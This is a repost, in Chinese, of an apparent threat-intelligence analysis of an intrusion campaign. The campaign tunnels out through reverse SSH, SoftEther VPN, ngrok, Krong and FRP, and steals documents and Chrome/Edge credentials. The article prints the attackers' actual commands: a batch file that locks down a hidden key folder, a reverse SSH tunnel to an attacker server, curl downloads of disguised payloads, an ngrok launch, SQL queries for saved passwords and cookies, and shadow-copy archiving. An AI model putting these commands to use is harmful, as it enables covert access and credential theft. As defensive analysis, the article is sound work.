一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

admin 2024年7月4日07:38:43评论12 views字数 8071阅读26分54秒阅读模式

一、摘要

这种新型攻击手段采用了反向SSH隧道+SoftEther VPN+Ngrok代理+Krong代理+FRP快速反向代理的组合方式, 能够轻易窃取受害者主机的应用数据和浏览器敏感数据。通过多级代理, 使其难以被追踪和通过流量检测。

二、反向SSH隧道

访问远程网络服务的一种方法是创建反向SSH隧道, 攻击者使用多个文件来启动反向SSH隧道:

1.OpenSSH for Windows工具包中的SSH客户端, 以及运行所需的依赖库。

2.OpenSSH私钥文件。

3.隐藏私钥文件的"a.bat"脚本。

攻击者利用共享文件夹通过SMB将所有文件传输到目标主机, 这些文件看起来都是一些正常的应用工具:

C:program filesOpenSSHssh.exe
C:programdatasshdssh.exe
C:programdatasshssh.exe

与远程服务器建立连接所需的私钥文件存放在如下路径:

C:WindowsAppReadinessread.ini
C:WindowsAppReadinessdata.dat
C:WindowsAppReadinesslog.dat
C:WindowsAppReadinessvalue.dat

OpenSSH私钥文件通常不带扩展名,但可以将其命名为 .key 或类似扩展名。在这里,攻击者使用 .ini 和 .dat 扩展名创建私钥文件,可以隐藏其真实意图。与 .key 文件或没有扩展名的文件相比,此类文件在命令行界面中看起来不那么可疑。

在私钥文件被复制到AppReadiness文件夹后,攻击者复制并运行a.bat脚本。在受攻击的系统中,该脚本主要出现在临时目录或用户的共享文件夹中。

c:userspublica.bat

批处理文件a.bat的内容如下:

@echo off
::# Set Key File Variable:

Set Key="C:WindowsAppReadiness"

takeown /f "%Key%"
icacls "%Key%" /remove "BUILTINAdministrators" > "%temp%a.txt"
icacls "%Key%" /remove "Administrators" >> "%temp%a.txt"
icacls "%Key%" /remove "NT AUTHORITYAuthenticated Users" >> "%temp%a.txt"
icacls "%Key%" /remove "CREATOR OWNER" >> "%temp%a.txt"
icacls "%Key%" /remove "BUILTINUsers" >> "%temp%a.txt"
icacls "%Key%" /remove "Users" >> "%temp%a.txt"
icacls "%Key%" >> "%temp%a.txt"

::# Remove Variable:
set "Key="

在 Windows 中,C:WindowsAppReadiness是 AppReadiness 服务的一部分,用于存储应用程序首次启动或用户首次登录时进行初始配置的应用程序文件。如图:

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

上图显示了该文件夹的默认权限:

  • 系统管理员: 所有权限

  • 授权用户: 只读权限

这意味着普通用户可以查看该文件夹的内容。

a.bat脚本将系统设置为文件夹的所有者,并从其自由访问控制列表 (DACL) 中删除所有其他用户。下图显示了脚本运行后C:WindowsAppReadiness的 DACL:

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

一旦权限被更改,普通用户和管理员都将无法访问此文件夹。尝试打开它将导致“无权限”错误, 如下图:

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

为了启动隧道,攻击者创建一个运行以下命令的计划任务:

C:PROGRA~1OpenSSHssh.exe -i C:WindowsAppReadinessvalue.dat -o 
StrictHostKeyChecking=accept-new -R 31481:localhost:53 
systemtest01@103.xxx.xxx.85 -p 22222 -fN

该命令以名为systemtestXX的用户身份创建到IP地址为103.xxx.xxx.85的远程服务器的 SSH 连接,该服务器的端口为22222,其中XX为数字。此连接会将网络流量从服务器上的某个端口重定向到受感染主机上的某个端口。这是为了让恶意服务器能够持续访问目标主机上运行的服务并监听指定端口。

在上面的例子中,用户systemtest01建立了一个连接,将流量从服务器上的端口31481重定向到目标主机上的端口53。在域控制器上创建的此类连接允许攻击者通过 DNS 查询获取内部网络上主机的 IP 地址。

每个用户都被分配到受感染主机上的不同端口。例如,用户systemtest05将流量从恶意服务器重定向到端口445,该端口通常由 SMB 服务使用。

创建 SSH 隧道的整个过程可以用下面给出的图表来描述:

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

三、SoftEther VPN

攻击者用于隧道的下一个工具是 SoftEther VPN 包中的服务器实用程序(VPN 服务器)。

SoftEther VPN(Software Ethernet VPN)是一种开源的、多协议的VPN软件,它支持多种VPN协议,并提供灵活和高性能的VPN解决方案。SoftEther VPN由日本筑波大学的研究团队开发,并已成为一个流行的VPN解决方案,适用于个人、企业和学术环境。

为了启动VPN服务器,攻击者使用了以下文件:

  • vpnserver_x64.exe:经过数字签名的 VPN 服务器可执行文件

  • hamcore.se2:包含运行 vpnserver_x64.exe 所需组件的容器文件

  • vpn_server.config:服务器配置

在操作系统中,VPN 服务器可以作为服务或具有 GUI 的应用程序运行。模式可以通过命令行参数设置。

攻击者通过重命名vpnserver_x64.exe,以隐藏其在受感染系统中的用途。已知该文件的名称和路径如下:

c:programdatasshvmtools.exe
c:programdatalenovolenovokln.exe
c:programdataiobitiobitrtttmpmstime.exe
c:perflogsecacheboot.exe
C:userspublicmusicwia.exe
c:windowsdebugwiawia.exe
c:userspublicmusictaskllst.exe
c:programdatalenovolenovomain.exe
c:programdataintelgccgccboot.exe
c:programdatalenovolenovodisplaycontrolcenterservicenetscan.exe
c:programdatakasperskylabkaspersky.exe

在上面的文件中, 攻击者甚至将文件命名为著名杀软卡巴斯基的名称。

文件hamcore.se2在受攻击的系统中未被重命名,因为它是由 VPN 服务器从 VPN 服务器可执行文件所在的同一文件夹中按名称加载的。

为了将工具传输到受害主机,攻击者使用了通过共享资源复制文件的标准技术, 并使用curl程序从远程资源下载文件,命令如下:

"cmd.exe" /C curl http://www.netportal.or[.]kr/common/css/main.js -o 
c:windowsdebugwiawia.exe > C:WINDOWSTempvwqkspeq.tmp 2>&1
"cmd.exe" /C curl http://www.netportal.or[.]kr/common/css/ham.js -o 
c:windowsdebugwiahamcore.se2 > C:WINDOWSTempnohEicOE.tmp 2>&1

在大多数情况下,配置文件与服务器可执行文件一起复制。但是,在某些情况下,它不是复制的,而是通过执行带有选项/install或/usermode_hidetray的 vpnserver_x64.exe 创建的,然后进行编辑。

"cmd.exe" /C c:userspublicmusictaskllst.exe /install > C:WindowsTempfnOcaiqm.tmp 2>&1
"cmd.exe" /C c:userspublicmusictaskllst.exe /usermode_hidetray > C:WindowsTempTSwkLRsR.tmp

在这种情况下,攻击者在系统中安装服务器后,更改了vpn_server.config中的服务器设置。

用于连接远程客户端到服务器的数据及其身份验证详细信息已添加到配置文件中

  • 账户名称: ha.bbmouseme.com

  • 主机名: 118.193.40.42

四、Ngrok代理和Krong代理

攻击者访问远程基础设施的另一种方式是通过隧道连接到合法的云提供商。在用户主机上运行的可以访问本地基础设施的应用程序可以通过合法代理连接到云端并重定向流量或运行某些命令。

Ngrok(https://ngrok.com/docs/agent/)是一款轻量级代理,可以将流量从端点重定向到云基础设施,反之亦然。攻击者在目标主机上安装了 ngrok,并使用它将 C2 流量从云基础设施重定向到这些主机上的某个端口。

例如,可以使用以下命令启动代理。

"cmd" /c "cd C:windowstemp & Intel.exe tcp --region=ap --remote-addr=1.tcp.ap.ngrok.io:21146 54112 --
authtoken 2GskqGD<token>txB7WyV"

ngrok 重定向 C2 流量的端口也是另一个工具 Krong 监听的端口。Krong 是一个 DLL 文件,通过 AVG TuneUp 数字签名的合法应用程序加载, 该工具通过命令行界面接收预期连接的地址和端口。

"cmd" /c "cd C:windowstemp & SystemInformation.exe 0.0.0.0 54112"

Krong是一个代理,它使用 XOR 函数加密传输的数据。这使得 Krong可以隐藏流量的内容以逃避检测。

五、FRP快速反向代理

在使用 OpenSSH 或 SoftEther VPN 在目标主机上创建隧道后,攻击者还会安装FRP 客户端(https://github.com/fatedier/frp)。FRP 是一个用 Go 编写的快速反向代理,允许从互联网访问位于 NAT 或防火墙后面的本地服务器。FRP 有一个 Web 界面,用于更改设置和查看连接统计信息。

攻击者使用两个文件来运行客户端:

  • Frpc.exe:FRP 客户端可执行文件

  • Frpc.toml:客户端配置文件

这些文件的名称是任意的。此外,配置文件扩展名也从标准的 .toml 更改为 .ini,就像 OpenSSH 私钥文件一样。

将文件复制到目标主机后,攻击者创建一个任意名称的服务,并通过以下命令启动。

c:windowsdebugtck.exe -c c:windowsdebugtc.ini

这将使用配置文件“tc.ini”启动 FRP 客户端。然后,流量将通过此工具从 C2 路由。

六、文档类收集工具

攻击者可以使用任何编程语言来开发一个轻量级文件搜索收集工具, 例如,以下是一个攻击者开发的文档收集工具,参数如下:

fkw.exe <date> <extensions> [keywords]

参数含义如下:

  • date:文件最后修改的日期,以yyyyMMdd为单位。搜索查找在该日期或之后修改的文件

  • extensions:不带空格的字符串,包含用分号分隔的文件扩展名

  • keywords:不带空格的字符串,包含要在文件名中查找的分号分隔的单词

以下是启动命令的一个示例:

"c:intelfkw.exe" 20230626 pdf;doc;docx;xls;xlsx

在这种情况下,攻击者收集了 2023 年 6 月 26 日之后修改的所有 MS Excel、MS Word 和 PDF 文件。

启动后,该工具将处理命令行参数并开始在所有可用驱动器上的文件系统中递归搜索文件。包含以下子字符串的文件夹将被排除在搜索之外:

$
Windows
Program Files
Programdata
Application Data
Program Files (x86)
Documents and Settings

此外,如果文件满足以下条件,则会被排除在搜索之外:

  • 文件大小大于 50 Mb (52428800 字节)。

  • 文件扩展名与命令行参数中指定的扩展名不匹配。

  • 名称不包含命令行参数中指定的关键字。

七、窃取浏览器密码

对于在系统中具有高权限的对手来说,一种相当简单的方法是解密浏览器数据,其中包含用户可能已保存以自动填充身份验证表单的 cookie 和密码

有许多开源工具可用于解密存储数据,其中之一就是mimikatz(https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi)。对手面临的问题是,这些工具对于安全系统来说是众所周知的,如果在基础设施中检测到,就会立即发出警告。

为了避免被发现,攻击者创建了一系列使用不同技术实现的工具,其目的相同:从Chrome和Edge中提取 cookie 和密码。这两种浏览器都使用DPAPI (数据保护应用程序编程接口)中的CryptProtectData(https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectdata)功能来加密数据。它使用当前用户的密码和特殊的加密主密钥来保护数据。

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

上图显示了通过进程 ID 识别用户的函数示例。它向Win32_Process类发送WMI请求,以接收processID 属性等于给定 PID的对象。然后,它调用GetOwner方法,该方法返回进程的用户和域名。

此后,搜索加密密钥,该密钥存储在以下浏览器JSON文件的crypto_key字段中。

%LOCALAPPDATA%GoogleChromeUser DataLocal State
%LOCALAPPDATA%MicrosoftEdgeUser DataLocal State

然后,冒充已识别的用户,并尝试使用CryptUnprotectData函数解密主密钥。为此,它会从System.Security.Cryptography.ProtectedData包中调用Unprotect函数,然后使用Windows DPAPI 中的CryptUnprotectData函数调用。

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

上图显示了Unprotect函数调用的示例,该函数调用接收从Encrypted_key字段获得的字节数组。DataProtectionScope.CurrentUser 的值作为第三个参数传递。这意味着在解密数据时将使用调用进程的用户上下文。该工具模拟它在 explorer.exe 中找到的用户就是为了这个目的。

如果解密成功,恶意软件会在以下文件夹中搜索登录数据和NetworkCookies文件。

%LOCALAPPDATA%GoogleChromeUser DataDefault
%LOCALAPPDATA%GoogleChromeUser DataProfile *

它将找到的所有文件复制到临时文件夹,在那里将它们作为 SQL 数据库文件打开并运行以下查询。

SELECT origin_url, username_value, password_value FROM logins
SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as 
expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies

以这种方式检索的数据将使用主密钥解密并保存在特殊文件中。

大多数版本的恶意软件工具都会记录其操作。以下是它们生成的日志文件的示例:

[+] Begin 7/28/2023 1:12:37 PM
[+] Current user SYSTEM
[*] [5516] [explorer] [UserName]
[+] Impersonate user UserName
[+] Current user UserName
[+] Local State File: C:UsersUserNameAppDataLocalGoogleChromeUser DataLocal State
[+] MasterKeyBytes: 6j<...>k=
[>] Profile: C:UsersUserNameAppDataLocalGoogleChromeUser DataDefault
[+] Copy C:UsersUserNameAppDataLocalGoogleChromeUser DataDefaultLogin Data to C:WindowsTEMPtmpF319.tmp
[+] Delete File C:WindowsTEMPtmpF319.tmp
[+] Copy C:UsersUserNameAppDataLocalGoogleChromeUser DataDefaultNetworkCookies to C:WindowsTEMPtmpFA1F.tmp
[+] Delete File C:WindowsTEMPtmpFA1F.tmp
[+] Local State File: C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataLocal State
[+] MasterKeyBytes: fv<...>GM=
[>] Profile: C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataDefault
[+] Copy C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataDefaultLogin Data to C:WindowsTEMPtmpFCB0.tmp
[+] Delete File C:WindowsTEMPtmpFCB0.tmp
[+] Copy C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataDefaultNetworkCookies to C:WindowsTEMPtmpFD5D.tmp
[+] Delete File C:WindowsTEMPtmpFD5D.tmp
[+] Recvtoself
[+] Current user SYSTEM
[+] End 7/28/2023 1:12:52 PM

恶意软件甚至可以模仿卡巴斯基反病毒软件。这个用 .NET 编写的可执行文件名为avpui.exe, 并包含相关元数据:

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

该工具的某些版本需要特定的命令行参数才能启动。示例如下:

一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

攻击者还可以创建磁盘的卷影副本,并使用7zip存档用户数据文件,以便进一步窃取数据。

wmic shadowcopy call create Volume='C:'
"cmd" /c c:Intel7z6.exe a c:Intel1.7z -mx0 -r
\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1Users<username>AppDataLocalGoogle
Chrome"User Data"

参考链接:https://securelist.com/toddycat-traffic-tunneling-data-extraction-tools/112443/

原文始发于微信公众号(二进制空间安全):一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日07:38:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一种利用多级代理组合绕过防御措施窃取敏感数据的新型攻击手段https://cn-sec.com/archives/2838176.html

发表评论

匿名网友 填写信息